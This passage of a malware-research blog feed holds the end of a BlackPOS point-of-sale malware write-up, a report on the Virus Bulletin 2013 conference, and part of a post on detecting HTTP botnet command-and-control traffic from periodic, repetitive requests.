&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtSSYyDtTfxdeTK0XOGeKvSusOlo9eaCraXEw-8Fuj03yT_gS5sUf8jw0BobIUjoeNhwmuvmpK26fz8JuitMPSHs1lFv78i-WYt7fOEus6C_XN-H4zASxlNxF-uW4yXdNKAhGm7DAC9xg/s1600/blackpos4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtSSYyDtTfxdeTK0XOGeKvSusOlo9eaCraXEw-8Fuj03yT_gS5sUf8jw0BobIUjoeNhwmuvmpK26fz8JuitMPSHs1lFv78i-WYt7fOEus6C_XN-H4zASxlNxF-uW4yXdNKAhGm7DAC9xg/s1600/blackpos4.png&quot; height=&quot;115&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
and then eventually launches all the above commands from the cmd shell&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWC98hXnmdFEpr-S46e-iqHewdwTVVUeKKKNyW5CzJjxOKTpgiHmbk8oGfeeg9xUTvaA9eitZx9O20KQcGUhRBncO7OsvjyWWGi7zLQ7mSsNUpICs_j5LUCaXIb5c6hqFpiA9BA6qZLcU/s1600/blackpos8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWC98hXnmdFEpr-S46e-iqHewdwTVVUeKKKNyW5CzJjxOKTpgiHmbk8oGfeeg9xUTvaA9eitZx9O20KQcGUhRBncO7OsvjyWWGi7zLQ7mSsNUpICs_j5LUCaXIb5c6hqFpiA9BA6qZLcU/s1600/blackpos8.png&quot; height=&quot;121&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
All the commands as and when executed are also being logged on the console&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxCyT1P9lUYoeCBILHnIpFrDSYzF7WLEk8GWQDMMkLD2sToLtCXxN4zU-jx-iXekO0Amr2juydwgLYhlEg3CTUzWrUk7PV1EId6MdMPTsz1mzaAKDsmlGi7OcQQtbh_LnzLTLD0P7ugnA/s1600/blackpos9.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxCyT1P9lUYoeCBILHnIpFrDSYzF7WLEk8GWQDMMkLD2sToLtCXxN4zU-jx-iXekO0Amr2juydwgLYhlEg3CTUzWrUk7PV1EId6MdMPTsz1mzaAKDsmlGi7OcQQtbh_LnzLTLD0P7ugnA/s1600/blackpos9.png&quot; height=&quot;185&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
While looking at the multiple samples for BlackPOS , we&#39;ve came across several different IPs being connected to via FTP . However , data exfilteration has been not found to be done via any other protocol.&lt;br /&gt;
&lt;br /&gt;
Point of Sale malwares also nicknamed as RAM Scrappers are increasing in the last few quarters . Apparently one of the reason to directly target the sale devices is its ease of implementation rather than employing the sophisticated traffic interception and hooking methods which has become the history now.&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2014/02/pos-malwares-on-rise-blackpos-attacking.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPyrn5uUDmKrn5gRyQTQXY572Qo-BeBg96ogM_M6EzecI8G27Rn1tSLpKTewP3NRm6AbN1SUdnfFg707eAVv1FxSOPeSUOQ3rdeFXcfbvw3eSS5diFVoUh0Yih_1K99uiLlpgvtUCl-5c/s72-c/blackpos6.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-1122291709435457455</guid><pubDate>Mon, 18 Nov 2013 12:34:00 +0000</pubDate><atom:updated>2014-06-04T23:16:14.852+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Miscellaneous</category><title>Virus Bulletin 2013 @ Berlin , Germany : My First International Security Conference As a Speaker</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.virusbtn.com/conference/vb2013/index&quot;&gt;Virus Bulletin 2013&lt;/a&gt; , one of the top computer security conferences was held this year in Berlin , Germany from 2nd - 4th October 2013 , and I was invited to speak on one of the research that I did on &lt;a href=&quot;http://www.virusbtn.com/conference/vb2013/abstracts/Shah.xml&quot;&gt;Behavioural method to detect HTTP botnets&lt;/a&gt;. Detection method precisely focuses on couple of key areas :&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;How do we differentiate traffic generated by automated clients from the human initiated traffic.&lt;/li&gt;
&lt;li&gt;How do we examine and differentiate outbound HTTP traffic generated from the legitimate sources like web browsers , from the malicious botnet Command and Control traffic over HTTP protocol&lt;/li&gt;
&lt;li&gt;Monitoring of the idle host based on the volume of the traffic generated and determining its suspiciousness on the basis of repetitive connections to C&amp;amp;C server.&lt;/li&gt;
&lt;/ul&gt;
I also discussed about the algorithmic approach and how do we apply on the network perimeter to detect botnet activity with high degree of accuracy . Entire blog post can be found over &lt;a href=&quot;http://extreme-security.blogspot.in/2013/11/periodic-command-pull-from-c-servers.html&quot;&gt;here&lt;/a&gt;&amp;nbsp;and over &lt;a href=&quot;http://blogs.mcafee.com/mcafee-labs/periodic-links-to-control-server-offer-new-way-to-detect-botnets&quot;&gt;here&lt;/a&gt; on the McAfee Labs blogs as well . Pretty interesting read and result oriented approach .&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This was one of the very few presentations audience really found interesting . Although it was on the final day of the conference and the audience was relatively less then previous two days which was kind of little disappointing . 3rd Oct evening was the fantastic drinks party followed by a gala dinner and sensational German dance performances in the evening ended the day. So lesser audience on the last day of the conference wasn&#39;t too surprising to me.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;/ul&gt;
&lt;div&gt;
On the other side , several presentations on the technical stream was interesting . One of them that got my attention was a talk from Microsoft guys , revealing the major problem that the AV industry could have started facing today . The presentation was about attacks on the AV Automation systems itself. Today , industry heavily rely on telemetry data and sample sharing between the vendors to be able to quickly respond to the 0 day threats. AV automation systems are primarily builded to auto-classify lakhs of malware samples received everyday and generate automatic signatures . Attackers have now started to probe these automation systems to find the loopholes in automatic signature generation &amp;nbsp;and exploit them by injecting the specifically crafted clean files into the telemetry system and poisoning them . Imagine the mess that it can cause due to significant volume of such crafted files received via telemetry.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitCJej6wjfiQ_XwvqwN9H_uuHUzKvIkWcRSQ1EUGZ2l1orvp28f__qhvVJW2IxcMnjfHacRwPWTIMwm3gBWuKsN-aSVwuOVMOPtK8tcQ8HFn5NqZSXdtn4d-fL4pwWhmCWbV5j6DCNitQ/s1600/Av_attacks.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitCJej6wjfiQ_XwvqwN9H_uuHUzKvIkWcRSQ1EUGZ2l1orvp28f__qhvVJW2IxcMnjfHacRwPWTIMwm3gBWuKsN-aSVwuOVMOPtK8tcQ8HFn5NqZSXdtn4d-fL4pwWhmCWbV5j6DCNitQ/s400/Av_attacks.png&quot; height=&quot;223&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7XWVousFA9GVC0ljLh5zL95_P3_RV_f9gOhs6SeKl0x-YQrzSHePzgDRo3A86CMULrshClRPadsWOgg4KfE4eweT1V-JHP7A8gWyP9VqHSNQwbzryFYp-BEqs323kPNDIvD6dE_4aITs/s1600/Av_attacks_1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7XWVousFA9GVC0ljLh5zL95_P3_RV_f9gOhs6SeKl0x-YQrzSHePzgDRo3A86CMULrshClRPadsWOgg4KfE4eweT1V-JHP7A8gWyP9VqHSNQwbzryFYp-BEqs323kPNDIvD6dE_4aITs/s400/Av_attacks_1.png&quot; height=&quot;223&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Entire presentation from Microsoft speakers can be viewed here :&amp;nbsp;&lt;a href=&quot;http://www.virusbtn.com/pdf/conference_slides/2013/BatchelderJia-VB2013.pdf&quot;&gt;Working together to defeat attacks against AV automation&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
One of the other presentations that I found interesting was from F-secure titled &quot;&lt;a href=&quot;http://www.virusbtn.com/pdf/conference_slides/2013/Niemela-VB2013.pdf&quot;&gt;Statistically effective protection against APT attacks&lt;/a&gt; &quot; talking about the research that they did on several available exploit mitigation methods and which one is most effective in preventing exploits from executing shellcode . Research talks about how effective are the mitigation methods like Application sandboxing , Client application hardening , Memory handling mechanisms for exploit prevention and Network hardening and which one is most effective against some of the in the wild exploits . Kind of useful research .&lt;br /&gt;
&lt;br /&gt;
Overall , it was a fantastic conference and got the opportunity to socialize and meet lot of people out there sharing ideas and talking about lot of stuff ..&lt;br /&gt;
&lt;br /&gt;
All the slides of VB 2013 presentations are available&lt;a href=&quot;http://www.virusbtn.com/conference/vb2013/slides/index&quot;&gt; here&lt;/a&gt; .&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2013/11/virus-bulletin-2013-berlin-germany-my.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitCJej6wjfiQ_XwvqwN9H_uuHUzKvIkWcRSQ1EUGZ2l1orvp28f__qhvVJW2IxcMnjfHacRwPWTIMwm3gBWuKsN-aSVwuOVMOPtK8tcQ8HFn5NqZSXdtn4d-fL4pwWhmCWbV5j6DCNitQ/s72-c/Av_attacks.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-8487492156150198946</guid><pubDate>Sat, 02 Nov 2013 11:55:00 +0000</pubDate><atom:updated>2014-06-04T23:17:18.904+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><category domain="http://www.blogger.com/atom/ns#">Botnet Research</category><title>Periodic Command Pull From C&amp;C Servers Paves The New Way to Detect Botnets </title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
HTTP has been predominantly used by recent botnets and APTs as their primary channel of communication with the Command and Conrol servers . This number has significantly shown increase in the last few quarters. One of the research shows &amp;nbsp;that more than 60% of the botnets use HTTP protocol to achieve C&amp;amp;C communication and the number has kept increasing. Below distribution shows the popularity and dominance of HTTP protocol among the top botnet families.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPvrXxqcC6pDzGQtbMH5yqJUDpk18jhMG2vfDD0_-6Nhn-q5WUrho6igTzrMisUQtn4Izr2myjdcUjwQsxnVwG4wbxLKWWcfWeaYQ_ZkFD3Ovp4yioQ0T5inBfQDq58Oha3Dpxfe6mPS4/s1600/C&amp;amp;C+distribution.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPvrXxqcC6pDzGQtbMH5yqJUDpk18jhMG2vfDD0_-6Nhn-q5WUrho6igTzrMisUQtn4Izr2myjdcUjwQsxnVwG4wbxLKWWcfWeaYQ_ZkFD3Ovp4yioQ0T5inBfQDq58Oha3Dpxfe6mPS4/s400/C&amp;amp;C+distribution.png&quot; height=&quot;240&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Couple of &amp;nbsp;apparent reasons to use HTTP as a primary channel for C&amp;amp;C is that it cannnot be blocked on the network since it carries major chunk of the internet traffic today . Secondly , it is not hard , but nearly impossible to differentiate the legitimate HTTP traffic from the malicious one on the network perimeter unless you have the known signatures for it. This makes HTTP even more popular among malware authors.&lt;br /&gt;
&lt;br /&gt;
Industry is well aware of the fact that traditional signature based approaches are no longer a solution to today&#39;s sophistication level of the threats and limitations with this has driven the shift of focus from signatures to behaviour. But we need to answer the question : What are those suspicious behaviours we should look for on the network ?&lt;br /&gt;
&lt;br /&gt;
Before we answer that question , I&#39;d like to throw some light on the typical lifecycle of botnet command and control over HTTP.&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Botnets would typically connect to a small number of C&amp;amp;C domains . It may try to resolve too many domains over the short period of time when it does DGA kind of stuff , but once it successfully resolves a domain and connects, it will stay connected to the same domain for its lifetime&lt;/li&gt;
&lt;li&gt;Once connected , it will send either HTTP GET / POST request to the specific resource ( URI ) of the C&amp;amp;C server as the registration / phone home communication.&lt;/li&gt;
&lt;li&gt;It will execute the command received from the C&amp;amp;C server OR will either sleep for the fixed interval of time before connecting back again and pull the command from C&amp;amp;C.&lt;/li&gt;
&lt;li&gt;Subsequently, it will connect to the server at fixed / stealth intervals and will keep pulling commands or might send keepalive messages to announce its existance periodically.&lt;/li&gt;
&lt;/ul&gt;
What we learn out of this behaviour is that botnets&amp;nbsp;typically work in a “pull” fashion; they continuously fetch commands from the control server, either at fixed intervals or at stealth level . Quick example to demonstrate this behaviour is Zeus . Below is traffic snapshot of Zeus communicating with control server every 6 seconds.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left; margin-right: 1em; text-align: left;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcGgX8LNAn-y_uzBqL1zkREQ6-mW8W6g0xrQOyGkSt3p134DmWMuQ_9WjD5KWOPH1jlT6JqRaCW8rKn8Y6y0H2bo6rL3eWQwxEYuoW2k9DR32hIHWlVeRB6M54DsyXzHOOx1_BeZXG2aY/s1600/Zeus.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcGgX8LNAn-y_uzBqL1zkREQ6-mW8W6g0xrQOyGkSt3p134DmWMuQ_9WjD5KWOPH1jlT6JqRaCW8rKn8Y6y0H2bo6rL3eWQwxEYuoW2k9DR32hIHWlVeRB6M54DsyXzHOOx1_BeZXG2aY/s400/Zeus.png&quot; height=&quot;90&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Zeus C&amp;amp;C communication over the network&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
We realize that machine infected with botnet communicating with the control server periodically is the automated traffic . Since this behaviour can also be exhibited from the legitimated software and websites, another questions comes up here : How do we differentiate browser / human initiated traffic from the automated traffic ? &amp;nbsp;Certain facts that we can definitely rely on :&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;It is abnormal for most users to connect to a specific server resource repeatedly and at periodic intervals. There might be dynamic web pages that periodically refresh content, but these legitimate behaviors can be detected by looking the server responses.&lt;/li&gt;
&lt;li&gt;The first connection to any web server will always have response greater than 1KB because these are web pages. A response size of just 100 or 200 bytes is hard to imagine under usual conditions.&lt;/li&gt;
&lt;li&gt;Legitimate web pages will always have embedded images, JavaScript, tags, links to several other domains, links to several file paths on the same domain, etc. These marks the characteristics of the normal web pages.&lt;/li&gt;
&lt;li&gt;Browsers will send the full HTTP headers in the request unless it is intercepted by MiTM tools that can modify / delete headers.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
All of the above facts allows us to think about the specific behaviour we can look on the network : &lt;b&gt;Repetitive connections to the same server resource over HTTP protocol&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Assume that we choose to monitor a machine under idle conditions–when the user is not logged on the machine–we can distinguish botnet activity with a high level of accuracy. We think about monitoring the idle host because that&#39;s the period where the traffic volume is less. It is kind of relatively easy to identify idle host due to the nature of the traffic that it generates ( usually version updates , version checks , keepalives etc ..). We &#39;d never expect the idle host to generate traffic to yahoo.com or hotmail.com.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Under these conditions , if the machine is infected with Spyeye botnet , traffic will look like this:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0bSq3mzcpJFc86OUHHqREeRWXc-rwJW9N3a9vskNC2P-9WZWP0kNC12paPVRuIHDBuoXIPyQfu5wSwRtnu4bcoOts6R9GIPePZSiYL6lDJVIBBbOeWs81z2K7McdhjnMdnfWCATriMHM/s1600/spyeye.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0bSq3mzcpJFc86OUHHqREeRWXc-rwJW9N3a9vskNC2P-9WZWP0kNC12paPVRuIHDBuoXIPyQfu5wSwRtnu4bcoOts6R9GIPePZSiYL6lDJVIBBbOeWs81z2K7McdhjnMdnfWCATriMHM/s640/spyeye.png&quot; height=&quot;75&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Notice that Zeus ( in the previous screenshot ) / Sypeye connects to one control domain and keeps sending HTTP POST every 6 and 31 seconds respectively to a specific server resource. Algorithmically, while idle, we’d deem a host&#39;s activity suspicious when :&lt;/div&gt;
&lt;div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;The number of unique domains a system connects to is less than a certain threshold&lt;/li&gt;
&lt;li&gt;The number of unique URIs a system connects to is less than a certain threshold&lt;/li&gt;
&lt;li&gt;For each unique domain, the number of times a URI is repetitively connected to is greater than a certain threshold&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Assuming the volume of traffic from the host is less, If we take the preceding conditions in a window of say two hours, we might come up with following:&lt;/div&gt;
&lt;div&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Number of unique domains = 1 (less than the threshold)&lt;/li&gt;
&lt;li&gt;Number of unique URIs connected = 1 (less than the threshold)&lt;/li&gt;
&lt;li&gt;For each unique domain, the number of times a unique URI is repetitively connected to = 13 (greater than threshold)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;The approach however, does not mandates that repetitive activity should be seen at these fixed intervals. If we choose to monitor within a larger window, we could detect more stealthy activities. The following flowchart represents a possible sequence of operations.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCbMBFqwQayi8zYY5jBeAP167Eq8WwVi0SqMhH3TfBvZMvn4FZ1Fs5QJiCex23iFFLO4vT3QRB9w2qdOQC85dYJUvG0XWG1pKPkQ-hKoMGY3qzdB9eQkrwQA7JQpUiH1RNrLCN_G1QGWw/s1600/flowchart.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCbMBFqwQayi8zYY5jBeAP167Eq8WwVi0SqMhH3TfBvZMvn4FZ1Fs5QJiCex23iFFLO4vT3QRB9w2qdOQC85dYJUvG0XWG1pKPkQ-hKoMGY3qzdB9eQkrwQA7JQpUiH1RNrLCN_G1QGWw/s400/flowchart.png&quot; height=&quot;263&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The first few checks are important to determine whether the host isn&#39;t talking too much. First, Total URI &amp;gt; threshold determines that we have enough traffic to look into. Next, Total Domain access &amp;gt;/= Y determines that the number of domains accessed is not too large. The final check is to see if Total unique URIs &amp;lt; Z. The source ends up on the suspicious list if we believe it has generated repetitive connections.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
For instance, if the Total URIs = 30, Total Domain access = 3, and Total Unique URI accessed = 5, we guarantee a repetitive URI access from the host. Now if the number of repetitive accesses to any particular URI crosses the threshold (for example, 1 URI accessed 15 times within a window), we can further examine the connection and apply some of heuristics to increase our confidence level and eliminate false positives. Some heuristics we can apply:&lt;/div&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Minimal HTTP headers sent in the request&lt;/li&gt;
&lt;li&gt;Absence of UA/referrer headers&lt;/li&gt;
&lt;li&gt;Small server responses and &amp;nbsp;lacking structure of usual web page&lt;/li&gt;
&lt;li&gt;Domain registration time and perhaps reputation as well.&lt;/li&gt;
&lt;/ul&gt;
Let’s look at an example of SpyEye sending minimal HTTP headers without a referrer header:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5sVnwQrNO5LQT2fT2LmAaCQhMJKc4vXu8ZeIS3Nb3iKVQ0wv3W7dKn74bYGQ61AFfKFDYk4m9sVV1932iLWaWixynJvXgDOwC7YiFJgtjsriC3OHNnEQe2pitBprvZiRsb_scfBXpzWA/s1600/headers.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5sVnwQrNO5LQT2fT2LmAaCQhMJKc4vXu8ZeIS3Nb3iKVQ0wv3W7dKn74bYGQ61AFfKFDYk4m9sVV1932iLWaWixynJvXgDOwC7YiFJgtjsriC3OHNnEQe2pitBprvZiRsb_scfBXpzWA/s400/headers.png&quot; height=&quot;133&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I implemented the proof of concept for this approach and I could detect the repetitive activity with relative ease.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguFh9T_zfiVny3vqoOVEJV8zRYU8bmj5yM2Kn4CwdH0LRT7Wn7EVxgivwu655YbTe8UPWYEwzsSVPyMsOo5_d3qEZsBYCueiMnUA0OhG6S87T8kSenSSKFxTbqjO6IuodStNV_6Whx5D0/s1600/spyeye2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguFh9T_zfiVny3vqoOVEJV8zRYU8bmj5yM2Kn4CwdH0LRT7Wn7EVxgivwu655YbTe8UPWYEwzsSVPyMsOo5_d3qEZsBYCueiMnUA0OhG6S87T8kSenSSKFxTbqjO6IuodStNV_6Whx5D0/s400/spyeye2.png&quot; height=&quot;291&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
